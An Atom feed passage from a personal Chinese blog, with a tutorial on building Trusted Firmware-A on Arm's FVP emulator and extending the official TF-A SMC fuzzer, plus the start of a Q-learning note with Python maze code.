<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ioo0s&#39;s blog</title>
  
  
  <link href="http://ioo0s.art/atom.xml" rel="self"/>
  
  <link href="http://ioo0s.art/"/>
  <updated>2024-05-03T00:34:02.000Z</updated>
  <id>http://ioo0s.art/</id>
  
  <author>
    <name>ios</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>ATF-FUZZ</title>
    <link href="http://ioo0s.art/2024/05/03/ATF-FUZZ/"/>
    <id>http://ioo0s.art/2024/05/03/ATF-FUZZ/</id>
    <published>2024-05-03T00:28:18.000Z</published>
    <updated>2024-05-03T00:34:02.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="fvp环境搭建"><a class="markdownIt-Anchor" href="#fvp环境搭建"></a> FVP环境搭建</h2><h3 id="fvp下载"><a class="markdownIt-Anchor" href="#fvp下载"></a> FVP下载</h3><p><a href="https://developer.arm.com/Tools%20and%20Software/Fixed%20Virtual%20Platforms">https://developer.arm.com/Tools and Software/Fixed Virtual Platforms</a></p><p><img src="image-20240422164011956.png" alt="image-20240422164011956" /></p><p>推荐直接下载：</p><p><a href="https://developer.arm.com/-/media/Files/downloads/ecosystem-models/FM_11_25/FVP_Base_RevC-2xAEMvA_11.25_15_Linux64.tgz?rev=0ef747d28bbd48dc9e6ce34134c68fb4&amp;hash=583601FE651DF183C31905BC6CFF2DCDEFB74EF0">Armv-A Base RevC AEM FVP (x86 Linux)</a></p><p><a href="https://developer.arm.com/-/media/Files/downloads/ecosystem-models/FM_11_25/FVP_Base_RevC-2xAEMvA_11.25_15_Linux64_armv8l.tgz?rev=97a250c90f564d84bf1426db80b6e870&amp;hash=89A9DC4822F3043904B6766892999DA6F8376D5C">Armv-A Base RevC AEM FVP (AArch64 Linux, beta)</a></p><p>下载完成后解压的到<code>Base_RevC_AEMvA_pkg</code></p><span id="more"></span><pre class="highlight"><code class="bash">sudo apt install xtermtar -xzvf FVP_Base_RevC-2xAEMvA_11.25_15_Linux64.tgz<span class="hljs-comment"># Base_RevC_AEMvA_pkg</span></code></pre><p><img src="image-20240422165953399.png" alt="image-20240422165953399" /></p><p>注意对应的binary文件在<code>AEMv8R_base_pkg/models/Linux64_GCC-9.3</code>目录下</p><p><img src="image-20240422174544894.png" alt="image-20240422174544894" /></p><p>FVP的快捷的两种启动方法：1. ARM Develop Studio可视化启动 2.command line启动。本教程主要使用command line方式启动。</p><h2 id="bl33构建"><a class="markdownIt-Anchor" href="#bl33构建"></a> BL33构建</h2><p>BL33作为None-security world镜像，一般情况下为uboot，当然也可以直接跳转到kernel。</p><pre class="highlight"><code class="bash"><span class="hljs-built_in">export</span> CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-git <span class="hljs-built_in">clone</span> https://github.com/u-boot/u-boot.git<span class="hljs-built_in">cd</span> u-bootmake vexpress_aemv8a_semi_defconfigmake -j 9</code></pre><p><img src="image-20240422181720100.png" alt="image-20240422181720100" /></p><h2 id="atf构建"><a class="markdownIt-Anchor" href="#atf构建"></a> ATF构建</h2><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-// 调试编译make PLAT=fvp BL33=/data/Project/u-boot/u-boot.bin DEBUG=1 all fip// 正常编译make PLAT=fvp BL33=/data/Project/u-boot/u-boot.bin all fip</code></pre><p><img src="image-20240422175940401.png" alt="image-20240422175940401" /></p><h2 id="atf运行"><a class="markdownIt-Anchor" href="#atf运行"></a> ATF运行</h2><h3 id="aemv8-base-fvp"><a class="markdownIt-Anchor" href="#aemv8-base-fvp"></a> AEMv8 Base FVP</h3><p>使用<code>FVP_Base_RevC-2xAEMv8A</code>运行</p><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/debug/export DISPLAY=:0</code></pre><p>运行命令：</p><pre class="highlight"><code class="">/data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname=&quot;./bl1.bin&quot;      \-C bp.flashloader0.fname=&quot;./fip.bin&quot;# 如果需要运行到rootfs请添加下方参数，--data cluster0.cpu0=&quot;&lt;path-to&gt;/&lt;kernel-binary&gt;&quot;@0x80080000 \--data cluster0.cpu0=&quot;&lt;path-to&gt;/&lt;ramdisk&gt;&quot;@0x84000000</code></pre><p><img src="image-20240422190557018.png" alt="image-20240422190557018" /></p><h2 id="tf-a-tests构建并运行"><a class="markdownIt-Anchor" href="#tf-a-tests构建并运行"></a> TF-A Tests构建并运行</h2><pre class="highlight"><code class="">export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-git clone https://review.trustedfirmware.orgTF-A/tf-a-tests.gitcd tf-a-testsmake PLAT=fvp tftf</code></pre><p><img src="image-20240422192642093.png" alt="image-20240422192642093" /></p><p>重编译ATF，指定bl33.bin为tftf.bin</p><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip</code></pre><p><img src="image-20240422192823075.png" alt="image-20240422192823075" /></p><p>重新使用FVP运行，成功引导进入tftf中</p><p><img src="image-20240422193006244.png" alt="image-20240422193006244" /></p><p>运行完成后会输出测试结果并提示退出</p><p><img src="image-20240422193154845.png" alt="image-20240422193154845" /></p><h2 id="smc-fuzz"><a class="markdownIt-Anchor" href="#smc-fuzz"></a> SMC Fuzz</h2><p>推荐阅读：<a href="https://www.trustedfirmware.org/docs/Directed_Radomized_SMC_Presentation.pdf">https://www.trustedfirmware.org/docs/Directed_Radomized_SMC_Presentation.pdf</a></p><h3 id="默认配置运行"><a class="markdownIt-Anchor" href="#默认配置运行"></a> 默认配置运行</h3><pre class="highlight"><code class="">export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp SMC_FUZZING=1 SMC_FUZZ_DTS=/data/Project/tf-a-tests/smc_fuzz/dts/top.dts TESTS=smcfuzzing tftf</code></pre><p><strong>注意这里的SMC_FUZZ_DTS是可以自定义的，这里使用了官方提供的top.dts</strong></p><pre class="highlight"><code class="">/* * Copyright (c) 2023, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause *//* * Top level device tree file to bias the SMC calls.  T * he biases are arbitrary and can be any value. * They are only significant when weighted against the * other biases.  30 was chosen arbitrarily. *//dts-v1/;/ &#123;sdei &#123;bias = &lt;30&gt;;sdei_version &#123;bias = &lt;30&gt;;functionname = &quot;sdei_version_funcid&quot;;&#125;;sdei_pe_unmask &#123;bias = &lt;30&gt;;functionname = &quot;sdei_pe_unmask_funcid&quot;;&#125;;sdei_pe_mask &#123;bias = &lt;30&gt;;functionname = &quot;sdei_pe_mask_funcid&quot;;&#125;;sdei_event_status &#123;bias = &lt;30&gt;;functionname = &quot;sdei_event_status_funcid&quot;;&#125;;sdei_event_signal &#123;bias = &lt;30&gt;;functionname = &quot;sdei_event_signal_funcid&quot;;&#125;;sdei_private_reset &#123;bias = &lt;30&gt;;functionname = &quot;sdei_private_reset_funcid&quot;;&#125;;sdei_shared_reset &#123;bias = &lt;30&gt;;functionname = &quot;sdei_shared_reset_funcid&quot;;&#125;;&#125;;tsp &#123;bias = &lt;30&gt;;tsp_add_op &#123;bias = &lt;30&gt;;functionname = &quot;tsp_add_op_funcid&quot;;&#125;;tsp_sub_op &#123;bias = &lt;30&gt;;functionname = &quot;tsp_sub_op_funcid&quot;;&#125;;tsp_mul_op &#123;bias = &lt;30&gt;;functionname = &quot;tsp_mul_op_funcid&quot;;&#125;;tsp_div_op &#123;bias = &lt;30&gt;;functionname = &quot;tsp_div_op_funcid&quot;;&#125;;&#125;;&#125;;</code></pre><p><img src="image-20240423103107010.png" alt="image-20240423103107010" /></p><p>重编译ATF，并替换tftf.bin</p><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip</code></pre><p><img src="image-20240423102154343.png" alt="image-20240423102154343" /></p><p>再次运行</p><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/release//data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname=&quot;./bl1.bin&quot;      \-C bp.flashloader0.fname=&quot;./fip.bin&quot;</code></pre><p><img src="image-20240423153625590.png" alt="image-20240423153625590" /></p><h3 id="扩展smc-fuzz"><a class="markdownIt-Anchor" href="#扩展smc-fuzz"></a> 扩展SMC fuzz</h3><p>先来通过目录结构确定需要扩展的文件1. <code>Dts</code> 2. <code>fuzz helper</code></p><p><img src="image-20240423162629887.png" alt="image-20240423162629887" /></p><ol><li>首先创建<code>test_fuzz_helper.h </code>，引用上述头文件(tftf框架), 并且定义与dts中function_name对应的常量funcid。最后在底部申明使用到的函数入口run_test_fuzz和具体的handler函数tftf_test_smc</li></ol><pre class="highlight"><code class="c"><span class="hljs-comment">//</span><span class="hljs-comment">// Created by ios on 24-4-23.</span><span class="hljs-comment">//</span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;fuzz_helper.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;power_management.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;sdei.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;test_helpers.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;tftf_lib.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;timer.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">ifndef</span> test_funcid</span><span class="hljs-meta">#<span class="hljs-keyword">define</span> test_funcid 0</span><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><span class="hljs-type">void</span> <span class="hljs-title function_">tftf_test_smc</span><span class="hljs-params">(<span class="hljs-type">uint64_t</span> tsp_id, <span class="hljs-type">char</span> *funcstr)</span>;<span class="hljs-type">void</span> <span class="hljs-title function_">run_test_fuzz</span><span class="hljs-params">(<span class="hljs-type">int</span> funcid)</span>;</code></pre><ol start="2"><li>完善具体的test_fuzz_helper.c,具体功能为打印固定的字符串<code>ios-test</code> 并输出测试信息。</li></ol><pre class="highlight"><code class="c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;fuzz_names.h&gt;</span></span><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;test_fuzz_helper.h&gt;</span></span><span class="hljs-type">void</span> <span class="hljs-title function_">tftf_test_smc</span><span class="hljs-params">(<span class="hljs-type">uint64_t</span> tsp_id, <span class="hljs-type">char</span> *funcstr)</span>&#123;    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;current str: %s, this is test smc fuzz handler!\n&quot;</span>, funcstr);&#125;<span class="hljs-comment">/* * TSP function called from fuzzer */</span><span class="hljs-type">void</span> <span class="hljs-title function_">run_test_fuzz</span><span class="hljs-params">(<span class="hljs-type">int</span> funcid)</span>&#123;    tftf_test_smc(funcid, <span class="hljs-string">&quot;ios-test&quot;</span>);&#125;</code></pre><ol start="3"><li><p>创建对应的test.dts ，主要定义了两个功能test_add和test_mov，并且对应的函数均为test_funcid。</p><pre class="highlight"><code class="">/* * Copyright (c) 2023, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause *//* * Top level device tree file to bias the SMC calls.  T * he biases are arbitrary and can be any value. * They are only significant when weighted against the * other biases.  30 was chosen arbitrarily. *//dts-v1/;/ &#123;test &#123;bias = &lt;30&gt;;test_add &#123;bias = &lt;30&gt;;functionname = &quot;test_funcid&quot;;&#125;;test_mov &#123;            bias = &lt;30&gt;;            functionname = &quot;test_funcid&quot;;        &#125;;&#125;;&#125;;</code></pre></li><li><p>将run_test_fuzz添加到<code>runtestfunction_helpers.c</code>中</p><p><img src="image-20240423163625289.png" alt="image-20240423163625289" /></p></li><li><p>将<code>tftf/tests/tests-smcfuzzing.mk</code> 中的编译依赖中添加<code>test_fuzz_helper.c</code></p><p><img src="image-20240423163901129.png" alt="image-20240423163901129" /></p></li><li><p>调整运行的次数和并发数，<code>tftf/tests/tests-smcfuzzing.mk</code></p><p><img src="image-20240423163940075.png" alt="image-20240423163940075" /></p></li><li><p>编译仅包含smcfuzz的tftf</p></li></ol><pre class="highlight"><code class="">export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp SMC_FUZZING=1 SMC_FUZZ_DTS=/data/Project/tf-a-tests/smc_fuzz/dts/test.dts TESTS=smcfuzzing tftf</code></pre><ol start="8"><li>打包tftf到fip.bin中</li></ol><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/export CROSS_COMPILE=/data/toolchains/SYS_PUBLIC_TOOLS/.toolchain/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu-linux-5.10/bin/aarch64-none-linux-gnu-make PLAT=fvp BL33=/data/Project/tf-a-tests/build/fvp/release/tftf.bin all fip</code></pre><ol start="9"><li>运行smc_fuzz</li></ol><pre class="highlight"><code class="">cd /data/Project/arm-trusted-firmware-lts-v2.8.4/build/fvp/release//data/Project/Base_RevC_AEMvA_pkg/models/Linux64_GCC-9.3/FVP_Base_RevC-2xAEMvA \-C pctl.startup=0.0.0.0                                     \-C bp.secure_memory=1                                       \-C bp.tzc_400.diagnostics=1                                 \-C cluster0.NUM_CORES=4                                     \-C cluster1.NUM_CORES=4                                     \-C cache_state_modelled=1                                   \-C bp.secureflashloader.fname=&quot;./bl1.bin&quot;      \-C bp.flashloader0.fname=&quot;./fip.bin&quot;</code></pre><p><img src="image-20240423164346413.png" alt="image-20240423164346413" /></p><h2 id="atf-bl1-fuzz"><a class="markdownIt-Anchor" href="#atf-bl1-fuzz"></a> ATF BL1 FUZZ</h2><h3 id="场景描述"><a class="markdownIt-Anchor" href="#场景描述"></a> 场景描述</h3><p>对BL1、BL2、BL31、BL32阶段的代码实现功能测试。此阶段代码多数为厂商定制。</p><h3 id="功能描述"><a class="markdownIt-Anchor" href="#功能描述"></a> 功能描述</h3><ol><li>针对函数级功能参数FUZZ</li><li>支持模拟器全阶段FUZZ（BL1、BL2、BL31、BL32）</li></ol><h3 id="功能实现"><a class="markdownIt-Anchor" href="#功能实现"></a> 功能实现</h3><p>待补充</p><h3 id="效果展示"><a class="markdownIt-Anchor" href="#效果展示"></a> 效果展示</h3><p><img src="image-20240428094155981.png" alt="image-20240428094155981" /></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;fvp环境搭建&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#fvp环境搭建&quot;&gt;&lt;/a&gt; FVP环境搭建&lt;/h2&gt;
&lt;h3 id=&quot;fvp下载&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#fvp下载&quot;&gt;&lt;/a&gt; FVP下载&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.arm.com/Tools%20and%20Software/Fixed%20Virtual%20Platforms&quot;&gt;https://developer.arm.com/Tools and Software/Fixed Virtual Platforms&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-20240422164011956.png&quot; alt=&quot;image-20240422164011956&quot; /&gt;&lt;/p&gt;
&lt;p&gt;推荐直接下载：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.arm.com/-/media/Files/downloads/ecosystem-models/FM_11_25/FVP_Base_RevC-2xAEMvA_11.25_15_Linux64.tgz?rev=0ef747d28bbd48dc9e6ce34134c68fb4&amp;amp;hash=583601FE651DF183C31905BC6CFF2DCDEFB74EF0&quot;&gt;Armv-A Base RevC AEM FVP (x86 Linux)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.arm.com/-/media/Files/downloads/ecosystem-models/FM_11_25/FVP_Base_RevC-2xAEMvA_11.25_15_Linux64_armv8l.tgz?rev=97a250c90f564d84bf1426db80b6e870&amp;amp;hash=89A9DC4822F3043904B6766892999DA6F8376D5C&quot;&gt;Armv-A Base RevC AEM FVP (AArch64 Linux, beta)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载完成后解压的到&lt;code&gt;Base_RevC_AEMvA_pkg&lt;/code&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="漏洞挖掘" scheme="http://ioo0s.art/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="ATF" scheme="http://ioo0s.art/tags/ATF/"/>
    
    <category term="FUZZ" scheme="http://ioo0s.art/tags/FUZZ/"/>
    
  </entry>
  
  <entry>
    <title>Reinforcement Learning Note</title>
    <link href="http://ioo0s.art/2024/04/10/Reinforcement-Learning-Note/"/>
    <id>http://ioo0s.art/2024/04/10/Reinforcement-Learning-Note/</id>
    <published>2024-04-10T05:13:58.000Z</published>
    <updated>2024-04-10T13:38:11.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="q-learning"><a class="markdownIt-Anchor" href="#q-learning"></a> Q-Learning</h2><h3 id="原理"><a class="markdownIt-Anchor" href="#原理"></a> 原理</h3><p>课程参考：<a href="https://www.bilibili.com/video/BV13W411Y75P">https://www.bilibili.com/video/BV13W411Y75P</a></p><p>Q-Learning是属于值函数近似算法中，蒙特卡洛方法和时间差分法相结合的算法。这种算法使得智能体（agent）能够在与环境互动的过程中学习如何采取动作以最大化累积奖励。Q-learning特别适用于解决决策过程问题，尤其是那些状态和动作空间定义明确的问题。</p><p>Q-Learning 是一个离线策略（off-policy）学习算法。在Q-Learning中，智能体学习的是一个与其实际执行动作无关的优化策略。也就是说，当它在探索更多的状态-动作对时，它学习的是最优策略。同时，在更新q-table中的值时，并不考虑下一步实际执行的动作是什么，而是假设采取的是让next_state下q-table值最大的动作。</p><span id="more"></span><h4 id="算法特性"><a class="markdownIt-Anchor" href="#算法特性"></a> 算法特性</h4><p><strong>无模型</strong>：Q-learning是一个无模型的强化学习算法，它不需要关于环境动态的先验知识</p><p><strong>离线学习</strong>：Q-learning是一种离线策略学习方法，智能体的学习与其遵循的策略无关。</p><p><strong>贪婪策略</strong>：在学习过程中，Q-learning采用贪婪策略在学习与探索间寻找平衡。即在大多数情况下选择当前估计最优的动作，但有时也会随机选择其他动作来探索未知的状态空间。</p><h3 id="迷宫实例"><a class="markdownIt-Anchor" href="#迷宫实例"></a> 迷宫实例</h3><h4 id="environment"><a class="markdownIt-Anchor" href="#environment"></a> <strong>Environment</strong></h4><ol><li><p>迷宫生成</p><p>用于随机生成迷宫，或者加载一个生成好的迷宫。迷宫由<code>*</code> <code> </code> 构成，其中<code>*</code>代表墙，<code> </code>代表路，<code>S</code>代表起点，<code>E</code>代表终点</p><pre class="highlight"><code class="python"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Maze</span>:    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, width, height</span>):        self.width = width        self.height = height        self.maze = [[<span class="hljs-string">&#x27;*&#x27;</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span> * height + <span class="hljs-number">1</span>)] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span> * width + <span class="hljs-number">1</span>)]        self.start_local = <span class="hljs-literal">None</span>        self.final_local = <span class="hljs-literal">None</span>        self.generate_maze()        self._locate_start_and_final()    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_break_wall</span>(<span class="hljs-params">self, x, y</span>):        self.maze[<span class="hljs-number">2</span> * x + <span class="hljs-number">1</span>][<span class="hljs-number">2</span> * y + <span class="hljs-number">1</span>] = <span class="hljs-string">&#x27; &#x27;</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_carve_passages_from</span>(<span class="hljs-params">self, x, y</span>):        dire = [(<span class="hljs-number">1</span>, <span class="hljs-number">0</span>), (-<span class="hljs-number">1</span>, <span class="hljs-number">0</span>), (<span class="hljs-number">0</span>, <span class="hljs-number">1</span>), (<span class="hljs-number">0</span>, -<span class="hljs-number">1</span>)]        random.shuffle(dire)        <span class="hljs-keyword">for</span> dx, dy <span class="hljs-keyword">in</span> dire:            new_x = x + dx            new_y = y + dy            <span class="hljs-keyword">if</span> <span class="hljs-number">0</span> &lt;= new_x &lt; self.width <span class="hljs-keyword">and</span> <span class="hljs-number">0</span> &lt;= new_y &lt; self.height:                <span class="hljs-keyword">if</span> self.maze[<span class="hljs-number">2</span> * new_x + <span class="hljs-number">1</span>][<span class="hljs-number">2</span> * new_y + <span class="hljs-number">1</span>] == <span class="hljs-string">&#x27;*&#x27;</span>:                    self.maze[<span class="hljs-number">2</span> * x + <span class="hljs-number">1</span> + dx][<span class="hljs-number">2</span> * y + <span class="hljs-number">1</span> + dy] = <span class="hljs-string">&#x27; &#x27;</span>  <span class="hljs-comment"># Break wall</span>                    self._break_wall(new_x, new_y)                    self._carve_passages_from(new_x, new_y)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_maze</span>(<span class="hljs-params">self</span>):        self._break_wall(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>)  <span class="hljs-comment"># Start point</span>        self._carve_passages_from(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>)        self.maze[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>] = <span class="hljs-string">&#x27;S&#x27;</span>  <span class="hljs-comment"># Mark the start point</span>        self.maze[<span class="hljs-number">2</span> * self.width][<span class="hljs-number">2</span> * self.height - <span class="hljs-number">1</span>] = <span class="hljs-string">&#x27;E&#x27;</span>  <span class="hljs-comment"># Mark the end point</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_locate_start_and_final</span>(<span class="hljs-params">self</span>):        self.start_local = <span class="hljs-literal">None</span>        self.final_local = <span class="hljs-literal">None</span>        <span class="hljs-keyword">for</span> i, row <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(self.maze):            <span class="hljs-keyword">for</span> j, char <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(row):                <span class="hljs-keyword">if</span> char == <span class="hljs-string">&#x27;S&#x27;</span>:                    self.start_local = (i, j)                <span class="hljs-keyword">elif</span> char == <span class="hljs-string">&#x27;E&#x27;</span>:                    self.final_local = (i, j)        <span class="hljs-keyword">if</span> self.start_local <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span> <span class="hljs-keyword">or</span> self.final_local <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">&quot;起点或终点未在迷宫中找到。&quot;</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">display</span>(<span class="hljs-params">self, maze=<span class="hljs-literal">None</span></span>):        <span class="hljs-keyword">if</span> maze <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> self.maze:                <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>.join(row))        <span class="hljs-keyword">else</span>:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> maze:                <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>.join(row))    <span class="hljs-keyword">def</span> <span class="hljs-title function_">save</span>(<span class="hljs-params">self, filename</span>):        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(filename, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> file:            <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> self.maze:                file.write(<span class="hljs-string">&#x27;&#x27;</span>.join(row) + <span class="hljs-string">&#x27;\n&#x27;</span>)<span class="hljs-meta">    @classmethod</span>    <span class="hljs-keyword">def</span> <span class="hljs-title function_">load</span>(<span class="hljs-params">cls, filename</span>):        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(filename, <span class="hljs-string">&#x27;r&#x27;</span>) <span class="hljs-keyword">as</span> file:            maze_data = [<span class="hljs-built_in">list</span>(line.strip()) <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> file]        <span class="hljs-comment"># 假设文件内容确定迷宫尺寸且迷宫规格是规整的（每行长度相同）</span>        height = <span class="hljs-built_in">len</span>(maze_data)        width = <span class="hljs-built_in">len</span>(maze_data[<span class="hljs-number">0</span>]) <span class="hljs-keyword">if</span> height &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>        maze_obj = cls(width, height)  <span class="hljs-comment"># 创建 Maze 实例</span>        maze_obj.maze = maze_data        maze_obj._locate_start_and_final()        <span class="hljs-keyword">return</span> maze_obj</code></pre><p>迷宫可以使用save保存在本地，方便下次训练使用，保存后的内容如下：</p><p><img src="image-20240402104606241.png" alt="image-20240402104606241" /></p></li><li><p>移动判定</p><p>理解为游戏的模拟输入，函数的输入为当前的坐标state(x,y)和接下来的行为action(u,d,l,f)。输出为执行完action后的坐标next_state，和奖励reward（用于判定是否达到终点）。</p><pre class="highlight"><code class="python">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">get_env_feedback</span>(<span class="hljs-params">self, state, action</span>):        <span class="hljs-string">&quot;&quot;&quot;        根据当前的状态和行动，返回下一个状态和奖励。        state: 当前的状态，即当前的坐标 (x, y)        action: 当前采取的行动。&#x27;UP&#x27;, &#x27;DOWN&#x27;, &#x27;LEFT&#x27;, &#x27;RIGHT&#x27; 中的一个。        返回: 下一个状态和奖励。        &quot;&quot;&quot;</span>        <span class="hljs-comment"># 计算下一步的位置</span>        x, y = state        <span class="hljs-keyword">if</span> action == <span class="hljs-string">&#x27;UP&#x27;</span>:            next_state = (<span class="hljs-built_in">max</span>(x - <span class="hljs-number">1</span>, <span class="hljs-number">0</span>), y)        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;DOWN&#x27;</span>:            next_state = (<span class="hljs-built_in">min</span>(x + <span class="hljs-number">1</span>, <span class="hljs-number">2</span> * self.height), y)        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;LEFT&#x27;</span>:            next_state = (x, <span class="hljs-built_in">max</span>(y - <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))        <span class="hljs-keyword">elif</span> action == <span class="hljs-string">&#x27;RIGHT&#x27;</span>:            next_state = (x, <span class="hljs-built_in">min</span>(y + <span class="hljs-number">1</span>, <span class="hljs-number">2</span> * self.width))        <span class="hljs-keyword">else</span>:            next_state = state  <span class="hljs-comment"># 无效的行动</span>        <span class="hljs-comment"># 检查下一步是否为墙(&#x27;*&#x27;)或终点(&#x27;E&#x27;)</span>        next_x, next_y = next_state        <span class="hljs-keyword">if</span> self.maze[next_x][next_y] == <span class="hljs-string">&#x27;*&#x27;</span>:            reward = -<span class="hljs-number">1</span>  <span class="hljs-comment"># 如果撞墙，给予负奖励</span>            next_state = state  <span class="hljs-comment"># 状态不改变</span>        <span class="hljs-keyword">elif</span> self.maze[next_x][next_y] == <span class="hljs-string">&#x27;E&#x27;</span>:            reward = <span class="hljs-number">1</span>  <span class="hljs-comment"># 如果到达终点，给予正奖励</span>        <span class="hljs-keyword">else</span>:            reward = <span class="hljs-number">0</span>  <span class="hljs-comment"># 否则，没有奖励</span>        <span class="hljs-keyword">return</span> next_state, reward</code></pre></li><li><p>索引转换</p><p>用于将x,y坐标转换为q-table索引的辅助方法</p><pre class="highlight"><code class="python">    <span class="hljs-keyword">def</span> <span class="hljs-title function_">state_to_index</span>(<span class="hljs-params">self, state</span>):        <span class="hljs-string">&quot;&quot;&quot;        